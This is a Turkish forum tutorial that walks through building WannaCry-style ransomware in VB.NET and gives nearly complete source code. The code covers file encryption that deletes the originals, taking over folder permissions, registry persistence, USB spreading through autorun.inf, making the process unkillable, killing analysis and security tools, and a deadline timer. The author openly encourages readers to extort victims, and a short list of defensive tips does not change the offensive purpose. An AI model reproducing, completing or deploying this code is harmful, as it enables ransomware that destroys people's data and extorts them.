Merhabalar bugün sizlere WannaCry benzeri bir virüs kodlayarak bunların nasıl bir kod yapısına sahip olduğunu & sistem içerisinde neler yaptığını anlatacağım. Bazı yerlerde örneğin key üretme konusunda yer alan yerlerde yabancı bir yerden destek almıştım çeviri konusunda şahsıma yardımcı olan @CyberRulz06 'ya çok teşekkür ediyor kendisine saygı sevgi ve yürekten selamlarımı iletiyorum. Bu projenin geçmişte aylardır üzerinde beraber sevgili @oldminer ile defalarca çalıştık neticesinde pek çok kez başarısız olduk. Bugün aylardır süren başarısız çalışmaların neticesinde gelinen noktayı burada sunmak istedim. Benim kodlarımda biraz değişiklik var temel yapıya nazaran bulaşıcılık özelliği(spread) ve sonrada bulaşılan yerlerde inceleme için kullanılacak olan Die, DnSpy gibi araçların arka planda sonlandırılması gibi önlemler yer alıyor şifreleme sistemi olarak Rijndael kullandım genel olarak RSA veya AES tavsiye ediliyor. Tabi bu kodlar hedef gösterilen ana dizinde yer alan bütün dosya uzantılarını hedef almakta o yüzden siz değerli homo sapienler System32 klasöründe bazı Windows işletim sistemi mimarisini ayakta tutan nesneleri şifrelemeden hariç tutmanız gerekecek ki adamdan para vesaire talep edebilesiniz... Şahsen eklemedim her şeyi devletten beklemeyin değil mi?
Genel olarak ele aldığımızda Ransomware Türkçe karşılığı olarak da fidye yazılımı. Adından da anlaşılacağı üzere sisteminizde çalıştırmış olduğunuz herhangi bir yürütülebilir nesne üzerinden bulaşan akabinde pek çok dosyanızı geri dönüştürülemez biçimde şifreleyen & belli bir zaman içerisinde sizden verilerinizi geri alabilmeniz için para talep eden zararlı yazılım türünün bütününe verilen ada denir.
Pek çok bulaşma yolu bulunmakla birlikte genelde sanal dünyada yasaklı siteler, crack dosyaları, hack dosyaları(crypter, binder, packer ve benzerleri...), oyun hileleri gibi yasadışı faaliyet gösteren pek çok platformda bulunurlar. Kullanıcıların analiz yeteneğinin düşük olması, sisteminde gerekli korunma yollarının bulunmaması gibi pek çok sebepten sisteme bulaşır.
Sistemde güçlü bir antivirüsün sürekli aktif olarak çalışması.
Diğer korunma yöntemlerinin de sistem üzerinde aktif olarak çalıştırılması. Örneğin; SandBox
İndirilecek olan verilerin VirüsTotal, Intezer gibi platformlar üzerinde incelenmesi.
Kullanıcı için özel anlam ifade eden verilerin başka bir diskte saklanması & sürekli ana bilgisayar üzerinde ilgili diskin aktif olmaması.
Yasadışı ortamlardan uzak durma.
İşlemlerin çoğunu sanal bilgisayar üzerinden çözme.
Bilinmeyen mail, mesaj vb. gelen kutusunda şüpheli mesajların açılıp incelememek.
WannaCry, NotPetya, Cerber, Locky
Kodlamaya geçelim;
Öncelikle forma 1 adet Listbox ekleyelim bu bize hedef dizinde yer alan dosya & klasörlerin listesini getirecek.
1 adet Textbox ekleyelim bu bize seçilen nesnenin şifrelenmesi esnasında dosya adı değiştirme gibi işlemlerde kullanılacak.
2 Adet Label ekleyelim Label1 bize listbox ögesinde ne kadar nesne olduğunun bilgisini verecek.
Label2 ise tarih, saat kontrolü yapacak.
3 adet Timer ekleyelim bunlardan birisi saat tarih kontrolü yapan label ile eşleşiyorsa işlem yaptırmak için diğeri listbox ögesinde otomatik olarak aşağı inmek için sonuncusu ise uygulama kapatma için. Sırası ile Intervival Timer1 = 675, Timer2 = 879, Timer3 = 345
Gerekli Kütüphanelerimizi Projeye Entegre Edelim
Imports System.IOImports System.Security.CryptographyImports System.Security.AccessControlImports System.Windows.Forms.VisualStyles.VisualStyleElementClassForm1 Nesnesi Altına Eklenecek Ana Değişkenlerimiz
Kod:
Dim c_NewAntiKill As New c_AntiKill
Dim strFileToEncrypt As String
Dim strFileToDecrypt As String
Dim strOutputEncrypt As String
Dim strOutputDecrypt As String
Dim fsInput As System.IO.FileStream
Dim fsOutput As System.IO.FileStream
Not : Kodların açıklaması ' içerisinde verilmiştir.
Not : Burada bazı kodları gösteriş olsun diye ekledim örneğin başlangıca ekleme siz operasyonunuza göre değiştirin.
Not : Yönetici olarak çalıştırma kodunu mutlaka ekleyin.
Şimdi şifreleme işlemini yapmak için bir Key' e ihtiyacımız var bunun için kodum;
C#:
Private Function CreateKey(ByVal strPassword As String) As Byte()
'strPassword'ı bir diziye dönüştür ve chrData içinde sakla.
Dim chrData() As Char = strPassword.ToCharArray
'strPassword boyutunu elde etmek için intLength kullan
Dim intLength As Integer = chrData.GetUpperBound(0)
'bytDataToHash'ı belirle ve chrData ile aynıboyutta yap.
Dim bytDataToHash(intLength) As Byte
'chrData'yı dönüştürmek ve bytDataToHash içine saklamak için For Next kullan.
For i As Integer = 0 To chrData.GetUpperBound(0)
bytDataToHash(i) = CByte(Asc(chrData(i)))
Next
'Hangi hash'in kullanılacağını bul.
Dim SHA512 As New System.Security.Cryptography.SHA512Managed
'bytResult'ı bul, bytDataToHash'i hashle ve bytResult içinde sakla.
Dim bytResult As Byte() = SHA512.ComputeHash(bytDataToHash)
'bytKey(31)'i bul. Çünkü 256 bit’i tutacak.
Dim bytKey(31) As Byte
'Belirli bir boyutu (256 bit) bytResult'a koymak için For Next kullan.
'0 dan 31 e kadar olan kısmı 512 bit in ilk 256 bitini bytKey içine koyacak.
For i As Integer = 0 To 31
bytKey(i) = bytResult(i)
Next
Return bytKey 'Anahtarı döndür.
End Function
Şimdi ise bir IV fonksiyonu oluşturacağız. Çoğu Ransomware kodunu incelediyseniz eğer IV fonksiyonu oluştururlar.
C#:
Private Function CreateIV(ByVal strPassword As String) As Byte()
'strPassword'ı bir diziye dönüştür ve chrData içinde sakla.
Dim chrData() As Char = strPassword.ToCharArray
'strPassword boyutunu elde etmek için intLength kullan.
Dim intLength As Integer = chrData.GetUpperBound(0)
'bytDataToHash'ı belirle ve chrData ile aynı boyutta yap.
Dim bytDataToHash(intLength) As Byte
'chrData'yı dönüştürmek ve bytDataToHash içine saklamak için For Next kullan.
For i As Integer = 0 To chrData.GetUpperBound(0)
bytDataToHash(i) = CByte(Asc(chrData(i)))
Next
'Hangi hash in kullanılacağını belire.
Dim SHA512 As New System.Security.Cryptography.SHA512Managed
'bytResult ı ilan et, bytDataToHash i hashle ve bytResult içinde sakla.
Dim bytResult As Byte() = SHA512.ComputeHash(bytDataToHash)
'bytIV(15)'i bul. Çünkü 128 bit’i tutacak.
Dim bytIV(15) As Byte
'Belirli bir boyutu (128 bit) bytResult a koymak için For Next kullan.
'bytKey için 0 dan 30 a kadar olan kısım, hashlenmiş parolanın ilk 256 bitini kullandı.
'32 den 47 ye kadar olan kısım ise sonraki 128 biti bytIV içine koyacak.
For i As Integer = 32 To 47
bytIV(i - 32) = bytResult(i)
Next
Return bytIV 'IV geri dön
End Function
CryptoAction adlı bir Enum private fonksiyonu tanımlayalım. Enumerations vb.net dilinde genellikle bir dizi sabit değeri temsil etmek için kullanılır. Kod içerisinde yer alan ActionEncrypt, CryptoAction enumeration'ında tanımladığımız bir sabittir. Değerini ise 1 olarak atadık Bu sabit, veriyi şifreleme eylemini temsil eder. 2 ise veriyi çözme işlemini.
C#:
Private Enum CryptoAction
ActionEncrypt = 1
ActionDecrypt = 2
End Enum
Şimdi ise dosya şifreleme kodumuzun temel koduna gelelim. Burası dosyaların şifrelendiği yer. Kodlar genelde MsgBox ögesi içerisinde idi bunların hepsini konsola aktardım ki kullanımı daha rahat olsun diye. Artık burası size kalmış. Console yerlerini silmedim çünkü şifreleme veya çözme işlemleri gerçekleşirken içerisinde neler yaptığını görün diye...
C#:
Private Sub EncryptOrDecryptFile(ByVal strInputFile As String,
ByVal strOutputFile As String,
ByVal bytKey() As Byte,
ByVal bytIV() As Byte,
ByVal Direction As CryptoAction)
Try 'Hatalar durumunda
'Giriş ve çıkış işlemlerini yönetmek için dosya akışlarını ayarla
fsInput = New System.IO.FileStream(strInputFile, FileMode.Open,
FileAccess.Read)
fsOutput = New System.IO.FileStream(strOutputFile, FileMode.OpenOrCreate,
FileAccess.Write)
fsOutput.SetLength(0) 'fsOutput'un boş olduğundan emin ol
'Şifreleme/şifre çözme işlemi için değişkenleri belirle.
Dim bytBuffer(4096) As Byte 'işlem için bir blok byte tutar
Dim lngBytesProcessed As Long = 0 'işlenen byteların sayımını tutar
Dim lngFileLength As Long = fsInput.Length 'giriş dosyasının uzunluğu
Dim intBytesInCurrentBlock As Integer 'şu an işlenen bytelar
Dim csCryptoStream As CryptoStream
'CryptoServiceProvider ı belirle
Dim cspRijndael As New System.Security.Cryptography.RijndaelManaged
'Şifreleme veya şifre çözmeyi belirle ve CryptoStream i ayarla.
Select Case Direction
Case CryptoAction.ActionEncrypt
csCryptoStream = New CryptoStream(fsOutput,
cspRijndael.CreateEncryptor(bytKey, bytIV),
CryptoStreamMode.Write)
Case CryptoAction.ActionDecrypt
csCryptoStream = New CryptoStream(fsOutput,
cspRijndael.CreateDecryptor(bytKey, bytIV),
CryptoStreamMode.Write)
End Select
'Dosyanın tamamı işlenene kadar While döngüsünü kullan.
While lngBytesProcessed < lngFileLength
'Giriş dosya akışı ile dosyayı oku.
intBytesInCurrentBlock = fsInput.Read(bytBuffer, 0, 4096)
'Çıkış dosyasını cryptostream ile yaz.
csCryptoStream.Write(bytBuffer, 0, intBytesInCurrentBlock)
'lngBytesProcessed i güncelle
lngBytesProcessed = lngBytesProcessed + CLng(intBytesInCurrentBlock)
End While
'FileStreams ve CryptoStream ögelerini kapat
csCryptoStream.Close()
fsInput.Close()
fsOutput.Close()
'Dosya Akışlarını ve CryptoStream öğelerini kapat
If Direction = CryptoAction.ActionEncrypt Then
Dim fileOriginal As New FileInfo(strFileToEncrypt)
fileOriginal.Delete()
End If
'Şifreleme yapılıyorsa, orijinal şifrelenmemiş dosyayı sil.
If Direction = CryptoAction.ActionDecrypt Then
Dim fileEncrypted As New FileInfo(strFileToDecrypt)
fileEncrypted.Delete()
End If
'Şifre çözme yapılıyorsa, şifrelenmiş dosyayı sil.
Dim Wrap As String = Chr(13) + Chr(10)
If Direction = CryptoAction.ActionEncrypt Then
Console.WriteLine("Şifreleme Tamalandı" + Wrap + Wrap +
"İşlenen Toplam Bayt = " +
lngBytesProcessed.ToString,
"Tamamlandı!")
Else
'Dosya tamamlandığında kullanıcıyı güncelle.
Console.WriteLine("Şifre Çözme İşlemi Tamamlandı" + Wrap + Wrap +
"İşlenen Toplam Byte = " +
lngBytesProcessed.ToString,
"Tamamlandı!")
End If
'Dosya bulunamadığında hata yakalama
Catch When Err.Number = 53 'Eğer dosya bulunamazsa
Console.WriteLine("Lütfen yolun ve dosya adının doğru olduğundan ve dosyanın var olduğundan emin olun." +
"-.",
"Geçersiz Yol Veya Dosya Adı")
'Diğer tüm hataları yakala ve kısmi dosyaları sil.
Catch
fsInput.Close()
fsOutput.Close()
If Direction = CryptoAction.ActionDecrypt Then
Dim fileDelete As New FileInfo(TextBox1.Text)
fileDelete.Delete()
Else
Dim fileDelete As New FileInfo(TextBox1.Text)
fileDelete.Delete()
End If
End Try
End Sub
Şimdi dosya diye bir Sub oluşturuyoruz burası bize hedef dizinin dosyalarını listelememizi sağlayacak olan yer. Burada dikkat etmemiz gereken diğer bir nokta Erişimİzni yolu. Biliyorsunuz C diski Windows işletim sisteminin ana mimarisini barındırdığı için burası erişime kapalı oluyor biz burada az sonra bahsedeceğim kodlar vasıtasıyla erişim izni alıyoruz.
C#:
Sub dosya()
Dim dizinYolu = "J:\" 'Şifreleme işlemi yapılacak olan dizin yani ransomware aktivitesini yapacağımız dizin
Dim erişimizniyolu = "C:\" 'Erişim izni isteyen dizin
ErişimİzniVer(erişimizniyolu) ' Erişim iznini alıyoruz.
Label1.Text = ListBox1.Items.Count.ToString ' Kaç tane öge varsa sayısını label1 ögesine belirtmesini istedik
' Dizin var mı kontrol edin
If Directory.Exists(dizinYolu) Then
' Dosyaları ve alt dizinleri listele
ListeleDizin(dizinYolu)
Else
MessageBox.Show("Belirtilen dizin bulunamadı!")
End If
End Sub
Şimdi ise özel bir sub oluşturuyoruz burası bize ilgili dizinde yer alan klasörler içerisinde bulunan dosyaların uzantıları ile birlikte Listbox ögesi içerisine listelenmesini sağlayacak olan kısım.
C#:
Private Sub ListeleDizin(dizinYolu As String)
Try
' Önce dizindeki tüm dosyaları al
Dim dosyalar As String() = Directory.GetFiles(dizinYolu)
' Her dosyanın adını ve uzantısını ListBox'a ekle
For Each dosya As String In dosyalar
Dim dosyaAdi As String = Path.GetFileName(dosya)
Dim dosyaYolu As String = Path.Combine(dizinYolu, dosyaAdi)
ListBox1.Items.Add(dosyaYolu)
Next
' Ardından dizindeki tüm alt dizinleri al
Dim altDizinler As String() = Directory.GetDirectories(dizinYolu)
' Her alt dizini tara
For Each altDizin As String In altDizinler
' ListBox1.Items.Add(altDizin) Alt dizini ekle
ListeleDizin(altDizin) ' Alt dizini rekürsif olarak tara
Next
Catch ex As UnauthorizedAccessException
MessageBox.Show("Erişim izniniz yok: " & ex.Message)
Catch ex As DirectoryNotFoundException
MessageBox.Show("Dizin bulunamadı: " & ex.Message)
Catch ex As Exception
MessageBox.Show("Bir hata oluştu: " & ex.Message)
End Try
End Sub
Sıradaki özel sub kodumuz ise yukarıda bahsettiğim erişim izni alacağımız kodun bulunacağı kod. Burada yeni bir kural oluşturarak hedef kısıtlı klasör için yetki sahibi oluyoruz.
C#:
Private Sub ErişimİzniVer(dizinYolu As String)
Try
' Dizin var mı kontrol et
If Directory.Exists(dizinYolu) Then
' Dizin izinlerini al
Dim dizinInfo As New DirectoryInfo(dizinYolu)
Dim dizinErişimKontrol As DirectorySecurity = dizinInfo.GetAccessControl()
' Tam erişim izni oluştur
Dim kullanıcıAdı As String = Environment.UserDomainName & "\" & Environment.UserName
Dim izin As New FileSystemAccessRule(kullanıcıAdı,
FileSystemRights.FullControl,
InheritanceFlags.ContainerInherit Or InheritanceFlags.ObjectInherit,
PropagationFlags.None,
AccessControlType.Allow)
' İzinleri dizine uygula
dizinErişimKontrol.AddAccessRule(izin)
dizinInfo.SetAccessControl(dizinErişimKontrol)
' İzinlerin uygulandığını kontrol et
Dim yeniKontrol As DirectorySecurity = dizinInfo.GetAccessControl()
Dim kurallar As AuthorizationRuleCollection = yeniKontrol.GetAccessRules(True, True, GetType(System.Security.Principal.NTAccount))
' İzinlerin başarılı bir şekilde uygulandığını doğrulamak için kullanıcı kurallarını kontrol et
Dim izinVerildi As Boolean = kurallar.OfType(Of FileSystemAccessRule)().Any(Function(rule) rule.IdentityReference.Value = kullanıcıAdı AndAlso rule.AccessControlType = AccessControlType.Allow)
If izinVerildi Then
MsgBox("Erişim izni verildi.")
Else
MsgBox("Erişim izni verilemedi.")
End If
Else
Console.WriteLine("Dizin bulunamadı.")
End If
Catch ex As UnauthorizedAccessException
MsgBox("Erişim izni verilirken hata oluştu: " & ex.Message)
Catch ex As Exception
MsgBox("Bir hata oluştu: " & ex.Message)
End Try
End Sub
Normal bir sub oluşturalım ve adını şifrele yapalım. Burası şifreleme işlemlerinin döneceği kod dizini. Dosya uzantısının sonuna '_' & 'encrypt' ibarelerini ekler.
C#:
Sub şifrele()
TextBox1.Text = ListBox1.SelectedItem.ToString
strFileToEncrypt = TextBox1.Text
TextBox1.Text = strFileToEncrypt
Dim iPosition As Integer = 0
Dim i As Integer = 0
Dim bytKey As Byte()
Dim bytIV As Byte()
'OpenFileDialog.FileName yolundaki son "\" karakterinin konumunu aldık.
'-1, aradığınız karakterin bulunmadığı durumu ifade eder.
'IndexOf, soldan sağa doğru arama yapar.
While strFileToEncrypt.IndexOf("\"c, i) <> -1
iPosition = strFileToEncrypt.IndexOf("\"c, i)
i = iPosition + 1
End While
'olu üzerindeki son "\" karakterinden sonraki konumu strOutputFile a atadık.
'Bu konum, dosya adının başladığı yerdir.
strOutputEncrypt = strFileToEncrypt.Substring(iPosition + 1)
'Son "\" karakterine kadar olan tüm yolu S ye atadık.
Dim S As String = strFileToEncrypt.Substring(0, iPosition + 1)
'Dosya uzantısının sonunda yer alan "." ibaresini "_" buna çevir.
strOutputEncrypt = strOutputEncrypt.Replace("."c, "_"c)
'Dosya adımızı çevirdik örneğin => XXXXX.encrypt
TextBox1.Text = S + strOutputEncrypt + ".encrypt"
'Parolayı CreateKey fonksiyonuna gönderin.
bytKey = CreateKey("1234567") ' Burayı istediğiniz gibi değiştirebilirsiniz.
'Parolayı CreateIV fonksiyonuna gönderin.
bytIV = CreateIV("1234567")' Burayı da aynı.
'Şifrelemeye başla
EncryptOrDecryptFile(strFileToEncrypt, TextBox1.Text, bytKey, bytIV, CryptoAction.ActionEncrypt)
End Sub
Timer1 ögesi içerisine yazacağımız kod. Listbox nesnesinde otomatik aşağı indirme kodunu içeriyor.
C#:
If ListBox1.SelectedIndex = ListBox1.Items.Count - 1 Then ' Listeyi otomatik olarak aşağı indirecek olan kodumuz
' ListBox1.SelectedIndex = 0 <==> şimdilik bu kodu deaktif ediyorum çünkü timer durmuyor. .D
Else
ListBox1.SelectedIndex += 1
Call şifrele() ' şifrele ögesini çağır dedik.
End If
If ListBox1.SelectedIndex = Label1.Text - 1 Then 'Tüm ögeleri kontrol ettiğin zaman dur.
Timer1.Stop()
Else
End If
Bir sub oluşturduk ve adını tarihal yaptık. Burası kurbanın virüsümüzü çalıştırdığı anın saatini ve tarihini alıyor. Temp klasörüne settings.bmr adlı dosya oluşturup üzerine yazıyor.
C#:
Sub tarihal()
Dim filePath As String = Path.Combine(Path.GetTempPath(), "settings.bmr")
' FileStream ve StreamWriter kullanarak dosyayı oluşturun ve açın
Using fs As New FileStream(filePath, FileMode.Create, FileAccess.Write)
Using s As New StreamWriter(fs)
' Bugünün tarihini al
Dim today As DateTime = DateTime.Now
' Bugünden 4 gün sonrasını hesapla
Dim futureDate As DateTime = today.AddDays(4)
' Tarihi bir string olarak formatla
Dim futureDateString As String = futureDate.ToString("dd.MM.yyyy HH:mm:ss")
' Sonucu hedefin TEMP klasörüne yazdır.
s.WriteLine(futureDateString)
End Using
End Using
End Sub
Timer2 ögesi içerisine gireceğimiz kod. Burası yukarıda bahsedilen settings.bmr ögesi hedef dizinden açılıp forma yazdırılıyor & kurbanın bilgisayarının açık olduğu günün tarih saat ile karşılaştırma yapılıyor.
C#:
Dim filePath As String = Path.Combine(Path.GetTempPath(), "settings.bmr")
' Dosya akışını açın
Dim fs As FileStream
Dim fileExists As Boolean = File.Exists(filePath)
If fileExists Then
fs = New FileStream(filePath, FileMode.Open, FileAccess.Read)
Else
Return
End If
Using d As New StreamReader(fs)
' Dosyayı okumaya başla
Dim fileContent As String = String.Empty
While d.Peek() > -1
fileContent &= d.ReadLine() & vbCrLf
End While
Label2.Text = fileContent ' Label2'ye okunan dosya içeriğini yazdır.
If Label2.Text = DateTime.Now.ToString Then ' Label2 ögesine yazılan tarih verisi ile şimdiki tarih verisi karşılaştırılıyor eğer aynıysa süre bitti mesajı gösteriliyor.
MsgBox("süre bitti") ' <==> Burada süre bittiyse yapılacak işlemlerinizi yazın.
Shell("cmd /c shutdown -s -t 1", AppWinStyle.Hide) ' Misal ben bilgisayarı kapatmasını istedim. Tabiki siz burada mantıken komut istemini ransomware operasyonundan hariç tutmak gerekecek aksi takdirde hata verir. Ben örnek olsun diye yaptım.
Else
End If
End Using
FormLoad olayına gelelim. Burası kurbanın virüsümüzü çalıştırınca yapılan işlemleri içeriyor.
C#:
Dim searchKeyword As String = ".encrypt"
Dim found As Boolean = False
AddStartup(Me.Text, Application.ExecutablePath) ' Başlangıca ekliyoruz. Her açıldığında tekrar etmesi için.
Call dosya() ' Dosya adlı nesneyi çağır dedik.
Call usbbulaş() 'USBBulaş adlı nesneyi çağır dedik.
' ListBox1.Items koleksiyonunu döngüye al
For Each item As Object In ListBox1.Items
If TypeOf item Is String Then
Dim itemString As String = DirectCast(item, String)
' Listelenen verileri içerisinde .encrypt kelimesini ara
If itemString.IndexOf(searchKeyword, StringComparison.OrdinalIgnoreCase) >= 0 Then
found = True
Exit For
End If
End If
Next
If found Then 'Listbox ögesi içerisinde .encrypt ibaresi varsa Timer ögesini başlatma yani aynı şeyi iki kere yapma.
Me.ShowInTaskbar = False ' Görev yöneticisinden kendimizi gizledik...
c_NewAntiKill.c_ImAntiKill() ' Kendimizi kapatılamaz hale getirdik...
Timer2.Start()
Timer3.Start()
Else ' Eğer ki yoksa yani kullanıcı bizi ilk defa açıyorsa ==>
Me.ShowInTaskbar = False
c_NewAntiKill.c_ImAntiKill()
Call tarihal() ' tarih al ögesini çağırdık...
Timer1.Start() ' Timer1 ögesini başlattık...
Timer3.Start() ' Timer3 ögesini başlattık...
Timer2.Start() ' Timer2 ögesini başlattık...
End If
Bu kodumuz ise konu başında bahsetmiş olduğum uygulama yok etme kodlarını içeriyor.
C#:
Public Sub killProcess(ByRef strProcessToKill As String) 'Bizi çalışınca incelemeye kalkmasın kişi/kişiler. Bu yüzden sonradan çalışan analiz programlarını yakala & kapat.
Dim proc() As Process = Process.GetProcesses
For i As Integer = 0 To proc.GetUpperBound(0)
If proc(i).ProcessName = strProcessToKill Then
proc(i).Kill()
End If
Next
End Sub
Timer3 ögemizin kodları burada. Yukarıda bahsedilen kodun uygulamaya geçilmiş hali.
Kod:
killProcess("netreflector") 'netreflector yazan yeri degiştiredebilirsin sonuna .exe koyma NetReflector açıksa sonlandır.
killProcess("dnspy") 'DnSpy açıksa sonlandır. Bunlar uygulamaların görev yöneticisinde yer alan adları ben örnek olsun diye yazdım. Siz değiştirebilir & genişletebilirsiniz.
killProcess("die") 'Detect It Easy açıksa sonlandır.
killProcess("hijackthis") 'HiJack Açıksa kapat.
killProcess("zlclient") 'ZoneAlarm açıksa kapat.
USB Bulaşma kodum.
C#:
Private Sub usbbulaş() 'USB lere enjekte ederek bulaştırıyor kendini...
Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
Try
IO.File.Copy(Application.ExecutablePath, drivers & "Pik.exe")
Dim autorunwriter = New StreamWriter(drivers & "\autorun.inf")
autorunwriter.WriteLine("[autorun]")
autorunwriter.WriteLine("open=" & drivers & "Pik.exe")
autorunwriter.WriteLine("shellexecute=" & drivers, 1)
autorunwriter.Close()
System.IO.File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
System.IO.File.SetAttributes(drivers & "Pik.exe", FileAttributes.Hidden)
Catch ex As Exception
End Try
Next
End Sub
Kendini başlangıca ekleme kodum.
C#:
Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String) ' Başlangıca ekleme kodum
Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)
End Sub
Konu başında Load olayına AntiKill yani kendimizi kapatmaya karşı önleme kodunu eklemiştik. Şimdi bunun için Projenin köşesine Sağ Tıklayıp Ekle --> Bileşen --> Sınıf diyoruz. Ardından adını c_AntiKill yapıyoruz ve içerisine aşağıdaki kodu giriyoruz.
C#:
Imports System.Runtime.InteropServices
Imports System.ComponentModel
Imports System.Security.AccessControl
Imports System.Security.Principal
Public Class c_AntiKill
<DllImport("advapi32.dll", SetLastError:=True)>
Shared Function GetKernelObjectSecurity(Handle As IntPtr, securityInformation As Integer, <Out> pSecurityDescriptor As Byte(), nLength As UInteger, ByRef lpnLengthNeeded As UInteger) As Boolean
End Function
<DllImport("advapi32.dll", SetLastError:=True)>
Shared Function SetKernelObjectSecurity(Handle As IntPtr, securityInformation As Integer, <[In]> pSecurityDescriptor As Byte()) As Boolean
End Function
<DllImport("kernel32.dll")>
Shared Function GetCurrentProcess() As IntPtr
End Function
Protected Function GetProcessSecurityDescriptor(processHandle As IntPtr) As RawSecurityDescriptor
Dim psd() As Byte = New Byte(1) {}
Dim bufSizeNeeded As UInteger
GetKernelObjectSecurity(processHandle, &H4, psd, 0, bufSizeNeeded)
psd = New Byte(bufSizeNeeded) {}
If bufSizeNeeded < 0 OrElse bufSizeNeeded > Short.MaxValue Then
Throw New Win32Exception()
End If
If Not GetKernelObjectSecurity(processHandle, &H4, psd, bufSizeNeeded, bufSizeNeeded) Then
Throw New Win32Exception()
End If
Return New RawSecurityDescriptor(psd, 0)
End Function
Protected Sub SetProcessSecurityDescriptor(processHandle As IntPtr, dacl As RawSecurityDescriptor)
Dim rawsd As Byte() = New Byte(dacl.BinaryLength - 1) {}
dacl.GetBinaryForm(rawsd, 0)
If Not SetKernelObjectSecurity(processHandle, &H4, rawsd) Then
Throw New Win32Exception()
End If
End Sub
Public Sub c_ImAntiKill()
Dim hProcess As IntPtr = GetCurrentProcess()
Dim dacl = GetProcessSecurityDescriptor(hProcess)
dacl.DiscretionaryAcl.InsertAce(0, New CommonAce(AceFlags.None, AceQualifier.AccessDenied, CInt(&HF0000 Or &H100000 Or &HFFF), New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing), False, Nothing))
SetProcessSecurityDescriptor(hProcess, dacl)
Console.ReadKey()
End Sub
End Class
~ S0N ~
Son düzenleme:


